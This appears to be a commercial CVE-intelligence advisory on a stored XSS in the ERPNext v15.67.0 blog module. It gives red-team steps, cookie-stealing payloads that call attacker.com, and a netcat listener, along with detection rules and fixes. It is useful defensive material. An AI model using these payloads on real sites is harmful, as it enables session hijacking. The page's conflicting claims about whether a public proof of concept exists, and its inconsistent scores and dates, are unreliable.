☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Erpnext logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-56379

CVE-2025-56379 Cross-Site Scripting in Erpnext
📅 PUBLISHED: 2025-10-02 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v15.67.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56379 is a stored cross-site scripting (XSS) vulnerability in the blog post feature of ERPNEXT v15.67.0. An authenticated attacker with blog author privileges can inject arbitrary web scripts or HTML into the content field of a blog post. When other users view the compromised post, the injected payload executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ERPNEXT is a Python-based ERP system distributed via GitHub and PyPI. The vulnerable component is the blog module, which is part of the core application. Organizations using ERPNEXT v15.67.0 should treat this as a supply chain risk, as the vulnerability exists in the official release. No third-party package dependency is directly implicated.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) – The attacker must have blog author privileges.
  • User Interaction (UI): Required (R) – A victim must view the malicious blog post.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) – Limited information disclosure is possible.
  • Integrity (I): Low (L) – Limited modification of data is possible.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS means that a single injection can affect many users over time.

Deep Dive & Mechanics

The vulnerability resides in the blog post creation/editing functionality of ERPNEXT v15.67.0. The content field, which accepts rich text input, is not properly sanitized or encoded before being stored in the database and later rendered in the browser. An attacker with blog author privileges can craft a payload such as:

<script>alert('XSS')</script>

or a more sophisticated payload that steals session cookies:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

When the blog post is viewed by another user, the payload executes in the context of the victim's session. The lack of output encoding or Content Security Policy (CSP) headers in the blog rendering template allows the injected script to run.

Vulnerable vs. Patched Code

Vulnerable Code (v15.67.0):

The blog post template likely renders the content field without escaping. For example, in a Jinja template:

<div class="blog-content">
    {{ doc.content }}
</div>

This directly outputs the content without HTML escaping, allowing script injection.

Patched Code (Hypothetical):

A patch would involve using the |e filter in Jinja to escape HTML entities:

<div class="blog-content">
    {{ doc.content | e }}
</div>

Alternatively, the application should use a safe HTML sanitizer like bleach to allow only safe tags and attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • ERPNEXT v15.67.0 instance
  • Valid user account with blog author privileges
  • Network access to the instance

Steps:

  1. Log in to ERPNEXT with the blog author account.
  2. Navigate to the blog post creation page.
  3. In the content field, inject a payload such as:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Publish the blog post.
  5. Share the blog post URL with the target user.
  6. When the target views the post, the payload executes and exfiltrates their session cookie.

Lab Setup:

  • Use a local ERPNEXT v15.67.0 Docker container.
  • Set up a listener on attacker.com using nc -lvnp 80 or a webhook service.
  • Monitor incoming requests for stolen cookies.

Blue Team

Detection:

  • Monitor for unusual blog post content containing <script>, <img onerror>, or other HTML event handlers.
  • Use web application firewalls (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

  • Immediately remove any blog posts containing suspicious content.
  • Reset session tokens for all users who viewed the malicious post.
  • Review access logs for the blog module to identify the attacker's account.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to unknown domains from the ERPNEXT server.
    • Requests containing document.cookie in the URL parameters.
  • Host:
    • Blog post content containing <script>, <iframe>, or event handler attributes like onerror, onload.
    • Unusual entries in the tabBlog Post database table with HTML tags in the content column.
  • File:
    • Modified blog post templates (e.g., blog_post.html) that disable escaping.

Detection Engineering

YARA Rule

rule CVE_2025_56379_XSS_Detection {
    meta:
        description = "Detects stored XSS payloads in ERPNEXT blog content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56379"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in ERPNEXT Blog Content
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in ERPNEXT blog post content field
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: erpnext
detection:
    selection:
        event: blog_post_created
        content|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blog content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-56379 Stored XSS Exfiltration Attempt"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate:

    • Disable the blog module if not essential.
    • Review and remove any suspicious blog posts.
    • Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
  2. Short-term:

    • Apply input sanitization to the content field using a library like bleach.
    • Enable HTML escaping in the blog post template (e.g., {{ doc.content | e }} in Jinja).
    • Implement Content Security Policy (CSP) headers to restrict script execution.
  3. Long-term:

    • Upgrade to a patched version of ERPNEXT once available.
    • Conduct a security audit of all user input fields.
    • Implement regular security training for developers on XSS prevention.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

erpnext v15.67.0
erpnext blog

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56379/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.